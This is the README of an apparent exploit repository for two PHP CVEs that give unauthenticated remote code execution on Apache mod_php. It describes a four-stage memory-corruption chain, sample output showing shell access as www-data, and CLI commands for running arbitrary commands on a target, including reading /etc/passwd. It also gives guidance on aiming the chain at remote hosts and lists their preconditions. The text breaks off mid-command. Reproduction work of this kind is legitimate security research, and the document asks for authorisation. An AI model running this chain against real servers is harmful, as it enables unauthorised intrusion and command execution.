# php2shell — PoC for CVE-2026-109618 + CVE-2026-109619 Unauthenticated remote code execution against **Apache mod_php** running a vulnerable PHP, using only HTTP multipart requests, with no application code required and no `session_start()` in the target page. ``` $ python -m poc exploit php2shell poc 0.1.0 | ZSecurity | Linuxhackingid [1/4] A1 oom status=HTTP/1.0 500 Internal Server Error [2/4] B1 leak decoded=819208 libphp=0x78991f26f000 main=0x78991d600000 count=87 [3/4] A2 oom status=HTTP/1.0 500 Internal Server Error [4/4] B2 forge S=0x78991d6f8398 zif_system=0x78991f6d4370 status= RCE OK; proof /…/out/p1: uid=33(www-data) gid=33(www-data) groups=33(www-data) ``` `__author__` ZSecurity · `__org__` Linuxhackingid · v0.1.0 --- ## Scope and authorisation **This repository ships the exploit client only.** It contains no web application, no Docker compose file and no lab harness: you point it at a vulnerable mod_php target you started yourself (see [Target](#target-not-shipped)). It is a reproduction and verification tool for two published PHP core bugs — not a scanner, not a payload delivery tool. Do not point it at a host you do not own or have written authorisation to test. ## The vulnerabilities | | CVE-2026-109618 | CVE-2026-109619 | |---|---|---| | Title | RCE via OOM corruption | RCE via stale global state | | Fixed in | 8.2.35, 8.3.36, 8.4.27, 8.5.12 | same | | Weakness | OOM `longjmp()` abandons a request with request memory reachable but uninitialised; shutdown then reads/branches on it | worker-retained globals point into a freed request heap; a later request consumes the stale value before RINIT resets it | | Confirmed SAPI | Apache mod_php (shutdown runs even when startup failed) | mod_php; session-lifecycle path also validated on FPM per the advisory | Vendor advisories: [GHSA-w8hw-w9fx-j79w](https://github.com/php/php-src/security/advisories/GHSA-w8hw-w9fx-j79w), [GHSA-6wmf-4rv5-p3rp](https://github.com/php/php-src/security/advisories/GHSA-6wmf-4rv5-p3rp). Version ranges above are read from NVD `cpeMatch.versionEndExcluding`, not from blog prose. Grounding notes, including every source URL and the raw mechanism text, are in [NOTES.md](NOTES.md). ## What this PoC implements — and what it does not Four primitives were published under these two CVEs. This PoC implements **two** of them plus the OOM producer: | Primitive | Implemented | |---|---| | Upload-progress unserializer state (`BG(unserialize)`) → controlled corruption | yes (A2/B2) | | Remote process-memory disclosure via stale `PS(id)` in a `PHPSESSID` cookie | yes (A1/B1) | | OOM producer via multipart without a usable `Content-Length` | yes (A1, A2) | | `EG(last_fatal_error_backtrace)` UAF (PHP 8.5, needs `fatal_error_backtraces`) | **no** | | OPcache `CG(map_ptr_last)` cross-worker type confusion | **no** | Not validated here: FPM, FrankenPHP, LSAPI. The advisory documents FPM as susceptible by source analysis with no complete exploit demonstrated; that remains true of this artifact. ### Stage → CVE mapping The vendor does not label which primitive belongs to which CVE. This mapping is **analytical**, not a citation: | Stage | Role | CVE | |---|---|---| | A1 — multipart OOM at END cleanup | producer: leaves dangling `PS(id)` / `PS(mod_data)`, `send_cookie=1` | 109618 | | B1 — second request URL-encodes the stale `PS(id)` | consumer: 800 KB memory disclosure | 109619 | | A2 — cheap OOM over nested fields | producer: leaves dangling `PS(hash_serialize_verifier)` | 109618 | | B2 — fake `zend_reference` → fake `zend_array` | consumer: `zend_hash_destroy` calls `pDestructor = zif_system` | 109619 | ## Install ```bash git clone https://git.linuxhackingid.com/linuxhackingid/php2shell-cve-2026-109618-109619.git cd php2shell-cve-2026-109618-109619 python -m unittest discover -s tests -t . # 56 pass, 4 skip (need the target binary) ``` Nothing to `pip install`. The two tests that need the target's `libphp.so` skip themselves on a fresh clone — see [research/README.md](research/README.md) to enable them. ## Requirements - Docker with a Linux engine, x86_64 (the target image is `linux/amd64`) - Python 3.9+ — standard library only, no third-party packages - No shell required: the CLI talks to the Docker CLI directly, so it behaves identically from PowerShell, cmd, git-bash, zsh, and bash. The `lab/*.sh` files are conveniences that wrap the same Python entry points. ### Platform support | OS | Status | How it was checked | |---|---|---| | Windows 11 | works | PowerShell + git-bash, stock `PATH` where `bash` resolves to WSL; full chain `uid=33(www-data)` | | Linux x86_64 | works | Python 3.9 and 3.13 containers: full unit suite, plus the full chain executed from a Linux client against the target over a Docker network (`uid=33(www-data)`) | | macOS | expected to work, **not executed here** | no macOS host available; the CI matrix (`.github/workflows/ci.yml`) runs the unit tests and offline selftest on `macos-latest` | Verified interpreter versions: 3.9.25, 3.13, 3.14.7. ## Quickstart You need a running vulnerable target first (next section). Then, from any directory: ```bash python -m poc check --url http://127.0.0.1:18110 # version, ini, libphp hash, profile python -m poc exploit --url http://127.0.0.1:18110 # A1 -> B1 -> A2 -> B2 -> proof ``` Sample output: ``` [1/4] A1 oom status=HTTP/1.0 500 Internal Server Error [2/4] B1 leak decoded=819208 libphp=0x78991f26f000 main=0x78991d600000 count=87 [3/4] A2 oom status=HTTP/1.0 500 Internal Server Error [4/4] B2 forge S=0x78991d6f8398 zif_system=0x78991f6d4370 status= RCE OK; proof C:\Users\you\AppData\Local\php2shell\out\p1: uid=33(www-data) gid=33(www-data) groups=33(www-data) ``` The proof file is written by the target into its `/out` mount. This client looks for it in a fixed per-user directory — `%LOCALAPPDATA%\php2shell\out` on Windows, `${XDG_DATA_HOME:-~/.local/share}/php2shell/out` on Linux/macOS — so **the folder you run `poc` from does not matter**. Point the target's `/out` at that directory, or pass `--proof PATH`. `poc exploit` refuses to run when nothing is listening and tells you so. Nothing is chained implicitly: `check` only reads configuration, `leak` stops after the disclosure, `exploit` sends the whole chain. ## Target (not shipped) Requirements, all confirmed against `php:8.4.26-apache`: - Apache **mod_php** (not FPM — the confirmed path depends on mod_php's shutdown running after a failed startup) - `php.ini-production`: `memory_limit=128M`, `post_max_size=8M`, `display_errors=Off`, `output_buffering=0`, `session.upload_progress.enabled=On` - **one prefork child** for deterministic results (`MaxRequestWorkers 1`); with more workers the four requests must otherwise land on the same child - a writable `/out` mount which matches the client's proof directory Minimal target, two files plus a container. `index.php`: ```php StartServers 1 MinSpareServers 1 MaxSpareServers 1 MaxRequestWorkers 1 ServerLimit 1 MaxConnectionsPerChild 0 ``` ```bash OUT="${XDG_DATA_HOME:-$HOME/.local/share}/php2shell/out"; mkdir -p "$OUT" docker run -d --name p2s-lab -p 127.0.0.1:18110:80 \ -v "$PWD/index.php:/var/www/html/index.php:ro" \ -v "$PWD/apache-single-worker.conf:/etc/apache2/conf-enabled/zz-p2s.conf:ro" \ -v "$OUT:/out" \ php:8.4.26-apache /bin/sh -c 'cp /usr/local/etc/php/php.ini-production /usr/local/etc/php/php.ini; chown -R www-data:www-data /out 2>/dev/null || true; exec apache2-foreground' ``` On Windows/PowerShell use forward-slash paths (`C:/Users/you/...`) and `$env:LOCALAPPDATA + "/php2shell/out"` for `OUT`. The asset files are deliberately not part of this repository — the exploit client is the deliverable, the target is your lab. ## CLI | Command | Purpose | |---|---| | `poc check` | preflight: php version + vulnerable/patched verdict, nine ini values, `libphp.so` sha256 → profile, worker count. Exit 1 when the target is patched or the build is unknown. Sends no exploit traffic. | | `poc status` | diagnostics for a **local** container via `docker exec`: php/apache version, the nine ini values, libphp sha256, worker count | | `poc offsets --lib PATH` | derive `zval_ptr_dtor`, `zif_system`, `zif_passthru` from an ELF `.symtab`/`.dynsym` | | `poc leak` | A1 + B1 only: produce and classify the disclosure cookie (`--save` keeps the raw response) | | `poc exec --cmd CMD` | full chain with CMD wrapped so its output returns to you via `/out/.poc-exec`; prints the output, returns its exit code | | `poc exploit` | full chain; `--dry-run` forges and hashes all four bodies without touching the network; `--retries N`; `--cmd`; `--proof` | | `poc selftest` | offline: build all four bodies, check sizes and layout invariants | All commands accept `--host --port --url --path --tls --insecure --profile --workers --json`. `--workers N` occupies `N-1` prefork children so the four chain requests land on the same worker. `--name` (default `p2s-lab`) selects the container for `check` and `status`. ## Targeting a URL or a remote host `poc exploit` and `poc leak` accept a URL instead of host/port: ```bash python -m poc exploit --url http://127.0.0.1:18110 python -m poc exploit --url http://10.0.0.5:8080/app/index.php python -m poc leak --url http://lab.internal --save leak.resp ``` `--url` fills in host, port (80 for `http://`, 443 for `https://`) and the request path (default `/index.php`); `--host`, `--port`, `--tls` and `--path` override it. TLS is real TLS: certificate verification is **on by default**, so a lab with a self-signed certificate needs `--insecure`: ```bash python -m poc exploit --url https://127.0.0.1:18443/index.php --insecure python -m poc exploit --host 10.0.0.5 --port 8443 --tls --insecure ``` What is verified over TLS: the transport layer (handshake, certificate rejection by default, chunked framing through a `ssl` socket) and stage A1 against a TLS-terminated target — it returns the real `500` OOM. What is **not** reliable: stages B1 onward when a reverse proxy sits in front of mod_php, because the worker aborts during that request's shutdown and the proxy turns the truncated upstream response into `502 Bad Gateway` (measured: direct `http://` to the same container gives full RCE; the same container behind nginx TLS gives `502` at B1). Point the chain at mod_php directly rather than through a TLS terminator, a CDN, or a load balancer. Only point this at a host you own or have written authorisation to test. There is no scanning, no target list, no threading: one URL, one chain, and the proof lands in the mounted `out/` directory, so a remote target needs a way for you to read that file (or `--cmd` with an out-of-band effect you can observe). A URL is not sufficient on its own for the chain to work. The technical preconditions are: - **Apache mod_php.** The vulnerability's confirmed path depends on mod_php running request shutdown even when startup failed. FPM, FrankenPHP and LSAPI are not covered here. - **All four requests must hit the same prefork child.** Behind a load balancer, a CDN, or a multi-worker pool without pinning, the dangling pointers do not survive. Locally `--workers` occupies `N-1` children; you cannot do that to someone else's server, so target pools must be small (ideally one worker) or the chain has to be retried a lot. - **The build must match a profile.** `s_delta`, `hsv_delta`, the destructor offset and the fingerprint counts are per-`libphp.so`. `poc check` and `poc status` work by `docker exec`, so they only apply to the local container — for a remote host, obtain its `libphp.so`, verify the SHA-256, run `python -m poc offsets --lib ` and add a profile keyed by that hash before expecting the write primitive to land. - **Default input limits.** `memory_limit=128M`, `post_max_size=8M`, `output_buffering=0` and `session.upload_progress.enabled=On` are what the OOM stages were calibrated against. In other words: a URL is convenient for your own lab published on a LAN or in a cloud network, not a general-purpose remote exploit. ## "Persistence" — two different questions **1. Connection persistence: not needed, and not used.** Every request is its own TCP connection with `Connection: close`, chunked only where the body must bypass `post_max_size`. What has to "persist" across A1 → B1 → A2 → B2 is the **worker process**, not the socket: `PS(id)` and `PS(hash_serialize_verifier)` live in the child's globals and the heap layout is per-process. That is why `--workers` exists — it occupies `N-1` prefork children so the four requests land on the same one. A keep-alive connection would not help; a different child breaks the chain. **2. Session persistence after RCE: there is none, by design of the primitive.** The payload is `system()` reached as a `pDestructor` from `zend_hash_destroy` during request shutdown. That means: - it fires **once per request**, synchronously, and blocks the worker until the command returns; - there is **no stdin and no stdout** — output only exists if the command writes it somewhere (which is why the proof goes to the mounted `/out`); - the forged array is consumed at shutdown, so a second command needs the **whole chain again** (~2 s per command), not a resumed session. `poc exec` makes that cycle convenient — it wraps your command so stdout/stderr land in `/out/.poc-exec`, runs the chain with retries, prints the output back, and returns a real exit code: ```bash python -m poc exec --cmd 'id; hostname; uname -sr' python -m poc exec --cmd 'ls -la /var/www/html' python -m poc exec --cmd 'cat /etc/passwd | head -3' ``` Measured on this lab: **5 sequential `poc exec` cycles on the same worker, 5/5 exit 0, zero retries**, with a counter file in `/out` incrementing 1→5 — so the worker survives repeated cycles; what does not exist is a shared session. Anything that must survive between commands has to be written to disk (`/out`) rather than held in memory. Stage 3 can miss intermittently: A2's cheap OOM leaves the stale pointer at a slightly different spot, B2 then completes normally (`200`, worker alive) instead of firing the destructor, and no output appears. `poc exploit` prints `no command output; B2 status=... - stage-3 placement missed` and retries the whole chain; keep `--retries` at 3 or higher. Three consecutive cold starts (fresh container each) all succeeded on attempt 1, so the miss is occasional rather than systematic. For commands longer than the 200-byte carrier limit, write a script into `out/` and run `python -m poc exec --cmd 'sh